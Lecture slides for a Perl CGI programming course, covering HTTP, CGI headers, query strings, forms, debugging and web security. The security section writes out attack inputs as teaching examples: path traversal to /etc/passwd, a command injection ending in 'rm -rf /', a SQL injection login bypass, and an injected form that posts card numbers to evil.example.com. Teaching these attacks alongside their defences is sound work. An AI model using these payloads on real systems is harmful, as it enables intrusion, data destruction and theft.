Creating Dynamic Websites with CGI and Mason
Day One

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Administrivia

- Fire escapes
- Who am I?
- Timing

This course

- What we'll be covering
  - CGI programming (today)
  - Web application development using Mason (tomorrow)
- The handouts
- Course website:

`http://www-uxsup.csx.cam.ac.uk/~jw35/courses/cgi-and-mason/`

- Prerequisites - any of the following would help
  - existing programming skills
  - a basic understanding of the way that web servers operate
  - experience of configuring and administering a web server
  - an understanding of HTML
- Apache/Unix bias
- Perl as an example programing language

Why Perl?

- Lots of native string handling
- Taint mode
- Memory management
- Lots of useful modules
  - **`CGI.pm`**
  - ... and interfaces to just about everything
  - See CPAN **`http://www.cpan.org/`**
- It's what Mason uses

If not Perl, then what?

- Python, Ruby, etc.
- Shell script
    - perhaps not...
- C, C++, etc.
- Visual<*whatever*>
- PHP
- ...or anything else

Getting started

A simple HTML document

- Example 1: *simple.html*:

```
<html>

<head>
<title>A first HTML document</title>
</head>

<body>
<h1>Hello World</h1>
<p>Here we all are again</p>
</body>

</html>
```

A simple CGI program

- Example 2: *simple.cgi*:

```
#!/usr/bin/perl -Tw
use strict;

print "Content-type: text/html; charset=utf-8\n";
print "\n";

print "<html>\n";

print "<head>\n";
print "<title>A first CGI program</title>\n";
print "</head>\n";

print "<body>\n";
print "<h1>Hello World</h1>\n";
print "<p>Here we all are again</p>\n";
print "</body>\n";

print "</html>\n";
```

Running a simple CGI program

- Running *simple.cgi*:

```
./simple.cgi
Content-type: text/html; charset=utf-8

<html>
<head>
<title>A first CGI program</title>
</head>
<body>
<h1>Hello World</h1>
<p>Here we all are again</p>
</body>
</html>
```

A slightly more interesting CGI program

- Example 3: *date.cgi*:

```
#!/usr/bin/perl -Tw
use strict;

my $now = localtime();

print "Content-type: text/html; charset=utf-8\n";
print "\n";

print "<html>\n";

print "<head>\n";
print "<title>A second CGI program</title>\n";
print "</head>\n";

print "<body>\n";
print "<h1>Hello World</h1>\n";
print "<p>It is $now</p>\n";
print "</body>\n";

print "</html>\n";
```

Escaping HTML

- In HTML, some characters are 'special' and have to be 'escaped': '**<**', '**>**' and '**&**'
- When outputting HTML, data from 'outside' should always be escaped
- Getting this wrong is a security issue (see later)
- We'll use CGI.pm and its **`escapeHTML`** function
- See Example 4: *date2.cgi*

Some standards

HTTP

- HTTP defines exchanges between web clients and web servers
  - Current HTTP 1.1 (RFC 2616)
  - Previous HTTP 1.0 (RFC 1945)
- CGI program authors need to know quite a lot about HTTP
- It's a request-response protocol
- Requests and responses consist of
  - some headers
  - a blank line
  - optionally a body

An HTTP request

```
GET /cs/about/ HTTP/1.1
Host: www.cam.ac.uk
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;...
Accept: text/xml,application/xml,application...
Accept-Language: en, en-gb;q=0.83, en-us;q=0.66, ...
Accept-Encoding: gzip, deflate, compress;q=0.9
Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66
Keep-Alive: 300
Connection: keep-alive
...blank line...
```

- The first line is the 'Request line', and consists of
  - The *method*: GET, POST, or HEAD (or some others)
  - The resource being requested
  - The version string for the protocol being used
- The request line is followed by headers
- Headers consist of a name, a colon, some space, and a value
- Requests can (though commonly don't) include a body containing additional data

An HTTP response

```
HTTP/1.1 200 OK
Date: Wed, 05 Feb 2003 10:52:39 GMT
Server: Apache/1.3.26 (Unix) mod_perl/1.24_01
Last-Modified: Thu, 05 Dec 2002 16:31:09 GMT
ETag: "296a9-1b0c-3def7f4d"
Accept-Ranges: bytes
Content-Length: 6924
Connection: close
Content-Type: text/html; charset=iso-8859-1
...blank line...
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitiona
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitiona
<html xmlns="http://www.w3.org/1999/xhtml" lang="en">
<head>
...etc...
```

- The first line is the 'Status Line', and consists of
  - The version string for the protocol being used
  - A three-digit status code (**`200`** is 'Success')
  - A text representation of the status

An HTTP response (cont)

- There are various ranges of Status codes
  - 1xx - Informational
  - 2xx - Client request successful
  - 3xx - Client request redirected
  - 4xx - Client request incomplete
  - 5xx - Server error
- The text representation is just for human consumption
- The status line is followed by headers as for a request
- Responses normally include a body
- This contains the data that makes up the requested resource (HTML page, PNG image, MPEG movie, etc)

The 'Common Gateway Interface'

- CGI is all about things that happen on the server
- Interface between a web server and a program that creates content
- The first ever way to create dynamic web content
- Hugely influential for subsequent protocols that are not actually CGI at all
- ... and only 8 pages long
- Specified at

`http://hoohoo.ncsa.uiuc.edu/cgi/interface.html`

- Specifies three aspects of the way that CGI-conforming programs interact with web servers:
    - Environment variables available to the program
    - How the program can send data to the client
    - How the program can access data provided by the client

CGI environment variables

- Environment variables are a standard part of Unix and Windows programming environments
- They consist of name-value pairs
- The can be accessed from programs in various ways:
  - **`$ENV{name}`** (Perl)
  - **`$name`** (shell script)
  - **`%name%`** (DOS command line or batch file)
- There are 17 CGI variables defined by name, for example:
  - **`SERVER_NAME`**
  - **`REQUEST_METHOD`**
  - **`QUERY_STRING`**
  - **`REMOTE_USER`**
- See Example 5: *env_named.cgi*

CGI environment variables (cont)

- In addition, the values of headers received from the client go into environment variables
- Their names
  - start **`HTTP_`**
  - then the header name
  - converted to upper case
  - with any '-' characters changed to '_'
- Common examples include
  - **`HTTP_USER_AGENT`**
  - **`HTTP_REFERER`**
- See Example 6: *env_http.cgi*

Sending data to the client

- CGI programs send output to their *standard output*
- The web server sends this on to the client
- The output *MUST* start with a small header (same format as HTTP headers, and terminated by one blank line)
- There are 3 'special' CGI headers:
  - **`Content-type`**
  - **`Location`**
  - **`Status`**
- Any additional header lines are included in the response sent to the client
- The web server turns all this into a complete HTTP response

The `Content-type` header

- Values borrowed from MIME, hence sometimes called 'MIME types'
- So far, our content types have always been '**`text/html`**, but they don't have to be
  - **`text/plain`** - Plain text
  - **`text/html`** - HTML text
  - **`image/png`** - Image in Portable Network Graphics format
  - **`application/vnd.ms-excel`** - Vendor extension - Excel Spreadsheet
  - **`application/octet-stream`** - Unidentified stream of bytes
- '**`text/`**' types should also include a 'Character encoding' to map octets 'on the wire' into characters
  - **`utf-8`** - best choice
  - **`iso-8859-1`** - common alternative
  - **`GB2312`**

```
Content-type: text/html; charset=utf-8
```

The `Location` header

- The '**`Location`**' CGI header lets you provide a reference to a document, rather than the document itself
- This is a *redirect*
- If the argument is a path, the web server retrieves the document directly - see Example 7: *random2.cgi*
- If the argument to 'Location' is a URL, the server sends a HTTP redirect to the browser - see Example 8: *random3.cgi*

The `Status` header

- The status code in a response should reflect what actually happened
- A page with the default status 200 (OK) that says 'Not found' is a problem for web spiders and robots
- The CGI 'Status' header can be used to explicitly set the status
- Some status codes imply the presence of additional headers
- Useful codes for CGI writers include
  - **`200 OK`**: the default without a status header
  - **`403 Forbidden`**: the client is not allowed to access the requested resource
  - **`404 Not Found`**: the requested resource does not exist
  - **`500 Internal Server Error`**: general, unspecified problem responding to the request
  - **`503 Service Not Available`**: intended for use in response to high volume of traffic
  - **`504 Gateway Timed Out`**: could be used by CGI programs that implement their own time-outs

An error reporting routine

- One way to report an error:

```
sub error {
  my ($code,$msg,$text) = @_;
  print "Status: $code $msg\n";
  print "Content-type: text/html; charset=utf-8\n";
  print "\n";
  print "<html><head><title>$msg</title></head>\n";
  print "<body><h1>$msg</h1>\n";
  print "<p>$text</p></body></html>\n";
}
```

- This can only be used before any other header is printed
- See Example 9: *errors.cgi*

Accessing data provided by the client

- We'll get to this later
- Meanwhile ...

Getting information from the URL

URL crash course

- URLs locate things
- Syntax defined in RFC 2396
- HTTP URLs, e.g (though all on one line):

```
http://www.example.com:8080/cgi-bin/example?
                                day=thur&month=march
```

- This consists of:
  - scheme (**`http`**)
  - host (**`www.example.com`**)
  - port number (**`8080`**)
  - path information (**`/cgi-bin/example`**)
  - query string (**`day=thur&month=march`**)

More on URLs

- Some characters must be encoded if they appear in URLs
  - Those which can never appear in URLs: e.g. control characters, space, **`"`**, **`{`**, **`}`**, **`|`**, and others
  - 'Reserved Characters' which must be quoted to suppress their 'special meaning': things like **`/`**, **`?`**, **`:`**
- Exactly which characters need to be encoded differ from component to component of a URL
- The only characters that can always appear as themselves are

```
a-z  A-Z  0-9  -  _  .  !  ~  *  '  (  )
```

- Encoding uses a percent sign and the two-digit hex value of that character: **#** -> **`%23`**
- Because of the 'Reserved Characters' you can't encode/decode an entire URL
- CGI.pm provides **escape** amd **unescape** functions

Using the query string

- You can use the query string to pass information to a CGI program
- Value supplied in the **`QUERY_STRING`** environment variable
- See Example 10: *photo.cgi*

Yet more on query strings

- Query strings are traditionally composed of name/value pairs

`name=Jon+Smith&email=js35%40cam.ac.uk`

- This is constructed as follows:
  - Collect the names and corresponding values
  - Replace 'space' with '**`+`**' and apply URL escaping rules to everything else
  - Join names and values with an equals sign
  - Join name-value pairs with '**`&`**' characters
- This processing order is significant
- This construction is defined in the HTML recommendations

Decoding query strings

- Isn't hard, but it is trickier than it looks
- We will avoid reinventing the wheel and use CGI.pm's **`param`** function
- Works two ways:
  - Called without an argument, returns a list of the names of all parameters present
  - Called with a single argument, returns the value of that CGI parameter (or undef)
- See Example 11: *photo2.cgi*

Forms

Forms

- We are all used to fill-in forms on websites
- See Example 12: *search.html*
- Something like a CGI program is required to process the result of submitting a form

Lots of form elements

- See Example 13: *form-elements.html*
  - The **`<form>`** tag itself
  - Text and Password fields
  - Checkboxes and Radio Buttons
  - Hidden fields
  - Selections
  - Text Areas
  - Buttons
- An example:

```
<input type="text" name="surname" value="Name" />
```

- Additional tags and attributes are needed for accessibility

Forms in practise

- A request page - see Example 14: *view-request.html*
- Something to process this - see Example 15: *viewer.cgi*
- But forms and the CGI's that process them are closely linked
- CGIs can create the form - see Example 16: *viewer2.cgi*
- or use HTML shortcuts in CGI.pm
  - and get sticky fields into the bargain
  - see Example 17: *viewer3.cgi*

Under the hood

- For the forms we've done to date, the browser sends the server something like

```
GET /viewer3.cgi?name=J+Smith&photo=3 HTTP/1.1
Host: www.example.com
...blank line...
```

- Form values are encoded and appear as the 'Query' component of the URL
- The request body is empty
- A CGI will find the form values in the **`QUERY_STRING`** environment variable
- CGI.pm's **`param`** function extracts them

Problems with GET-based forms

- There may be limits to URL and environment variable length
- There is another way to submit form data
- In this case, browser send the server something like

```
POST /viewer4.cgi HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
...blank line...
name=J+Smith&photo=3
```

- A CGI program can read the CGI data from standard input
- The length of the data is available in the **`CONTENT_LENGTH`** environment variable
- A CGI should read exactly **`CONTENT_LENGTH`** bytes
- CGI.pm hides all this - see Example 18: *viewer4.cgi*

Choosing between POST and GET

- RFC 2616 says: "GET [...] SHOULD NOT have the significance of taking an action other than retrieval"
- HTML 4.01 says: "The "get" method should be used when the form is idempotent (i.e., causes no side-effects)".
- Browsers expect this, so do search engines
- POST avoids environment variable length limitations
- Responses to POST requests won't/can't be cached
- GET forms expose form variables in the browser window
- GET requests don't have to come from forms:

```
<A href="/cgi-bin/search.cgi?author=Smith&amp;
title=foo">Click to search</a>
```

- ... but notice that '`&`' needs to be escaped as '`&amp;`' to make the HTML happy
- GET requests are in theory restricted to ASCII

Security

Security in general

- CGI programs (and dynamic content in general) pose huge security problems
- They allow anyone in the world to execute programs in your server using input of their own choosing
- You can't trust ANYTHING that comes from outside
  - even if you think you know what it is
  - even if it's data from a 'select' or 'hidden' field
  - even if the user doesn't normally have access to it
- Remember that if CGIs run under the identity of the web server they can do anything that the web server can do
  - if the web server can read a file, so can a CGI
  - CGIs can access files outside the document root

Accessing files

- Consider:

```
my $quote = param('quote');
open ($INFILE, "/var/www/html/quotations/$quote");
```

- No problem if the **`quote`** field is "**`quote01.txt`**" ...
- ... but what if it's "**`../../../../etc/passwd`**"?
- In this case the right thing to do is to be clear what you will accept
- If quotation file names only consist of lower-case letters and '.' then reject everything else
- And reject '..' while you are at it

```
$name =~ tr{a-z\.}{}dc;
$name =~ s{\.\.}{}g;
```

Executing commands

- Sometimes the only (or, unfortunately, the easiest) way to do something in a CGI is to run an external command

```
my $host = param('name');
print "Looking up $name: " . `host $name` . "\n";
```

- No problem if the **`name`** field is "**`www.cam.ac.uk`**" ...
- ... but what if it's "**`www.cam.ac.uk; rm -rf /`**"?
- Various solutions here, including
  - only accepting valid characters

```
$name =~ tr{a-z\.}{}dc;
```

  - or bypassing the shell altogether

```
open(HOST, "-|", "host", $name);
my $result = <HOST>;
print "Looking up $name: $result\n";
close HOST;
```

Other substitution problems

- There are other places where substitution can be dangerous
- SQL statements, for example

```
my $user = param('user'};
my $passwd = param('passwd'};
SELECT XYZ from Users where
   User_ID='$user' AND Password='$passwd'
```

- should produce

```
SELECT XYZ from Users where
   User_ID='jw35' AND Password='secret'
```

- but what if the **`user`** parameter were "**`jw35' or 1=1 --`**"

```
SELECT XYZ from Users where
   User_ID='jw35' or 1=1 -- ' AND Password='rubbish'
```

Including CGI data in HTML pages

- Consider the following

```
my $user = param('user');
print "<form action='cc.cgi' method='post'>\n";
print "Welcome $user";
print "<p>Enter credit card number: ";
print "<input type='text' name='cc'><br/>";
print "<input type='submit'></p>"
print "</form>"
```

- If someone can contrive to set the **`user`** field to

```
Jon Warbrick\n
<form action='http://evil.example.com/grab.cgi'>
```

- then the page will come out like this

```
<form action='cc.cgi' method='post'>
Welcome Jon Warbrick
<form action='http://evil.example.com/grab.cgi'>
<p>Enter credit card number:
<input type='text' name='cc'><br/>
<input type='submit'></p>
</form>
```

Including CGI data in HTML pages (cont)

- It gets worse
- Web browsers support client side scripting
- Scripts loaded from a page or server have wide access to data from that page or server
  - Form fields...
  - Cookies (which might be used for authentication)...
- If someone can introduce **`<script> ... </script>`** on to a page that you are viewing, they get a lot of power
- Safely displaying user-supplied HTML inside HTML is actually very difficult

Including CGI data in HTML pages (cont)

- Remove or escape 'special' characters before including them in a page
- So, what's special?
- That depends
    - in normal HTML text, '**`<`**' and '**`&`**' are special
    - in attributes, quote, double-quote and space can be special
    - in the text of a client-side script almost anything could be special. Semi-colon and parentheses are likely to be dangerous
    - in URLs, all characters other than the safe set are special
- To correctly escape a special character you must define the character set you are using
- In UTF7, '**`+ADwA-script+AD4A-`**' is '**`<script>`**'

```
Content-type: text/html; charset=utf-8
```

Misuse

- Consider a form-to-email script that stores the destination in the form
- Perhaps

```
<input type="hidden" name="dest"
  value="webmaster@example.com">
```

- Or

```
Chose who to contact:
<select name="dest">
  <option value="sales@example.com">Sales Department</op
  <option value="support@example.com">Software Support</
  <option value="eng@example.com">Hardware Support</opti
</select>
```

- But it's easy to submit requests with **`dest`** set to anything
- Matt's Script Archive **`formmail.cgi :-(`**

Other security issues

- Cross site form submission
- Beware buffer overruns
- Just because it's called **`date`** doesn't prevent someone uploading 200Mb of data
- Beware of 'denial of service' attacks - intentional and accidental
- Don't submit anything confidential over plain HTTP

Debugging CGIs

What CGI doesn't define

- There are a lot of things that the CGI specification doesn't define
- It doesn't define 'Current Directory'
  - This affects how relative pathnames in scripts are be interpreted
  - Apache sets the current directory to the one in which the CGI program is installed
  - Microsoft IIS is reputed to follow other, more complex rules
- CGI doesn't specify what happens to the program's 'standard error' output
- CGI doesn't specify what environment variables (other than the CGI ones) will be available
- It doesn't specify what PATH will be
- It doesn't say what the user and group running the program will be

Some configuration required

- Either

```
ScriptAlias /cgi-bin/ /usr/local/apache/cgi-bin/
```

- or

```
AddHandler cgi-script cgi pl
<Directory /usr/local/apache/htdocs/somedir>
  Options +ExecCGI
</Directory>
```

- The program must have its execute bit set for the user running the CGI
- Scripts must identify their interpreter
- Think very, very hard before you allow general users on a multi-user machine to run their own CGIs
- A possible solution (under Apache) is **`suexec`** (and friends)

My program won't run

- Syntax errors - try, e.g., **`perl -cwT <filename>`**
- Permissions: web server user needs execute (and perhaps read) access to the program and directories
- Web server configuration
  - Script execution
  - Available methods
- The **`#!`** line, and line endings
- Missing or out-of-order headers
  - Beware of buffering
- Check the server logs - **`error_log`** and/or **`script_log`**, or equivalent

My program runs, but not correctly

- Check the server logs *AGAIN*
- Always check (or at least suspect) the return values from open(), eval(), system(), etc.
- Remember that your CGI may be running as an unprivileged user - file and directory access
- Lock any files that are updated
- Beware of races
- Allow for text and binary files being different
- Print debug information to STDERR

Running CGI programs interactively

- You may need to set up a least some CGI environment variables
- POST data can be redirected from a file

```
$ echo 'name=Jon&photo=3' >data.txt

$ export REQUEST_METHOD=POST
$ export CONTENT_LENGTH=16

$ ./viewer4.cgi <data.txt
```

Perl CGI debugging

- `./viewer.cgi name=Jon photo=3`
- Perl **`CGI::Carp`** will let you see error messages
  - See Example 19: *fatal.cgi*
  - In the error log:

```
[Wed Feb 19 12:44:13 2003] fatal.cgi: Undefined
  subroutine &main::localtome called at
  /var/www/html/cgi-examples/fatal.cgi line 6.
```

Same time, same channel tomorrow

For further excitement and intrigue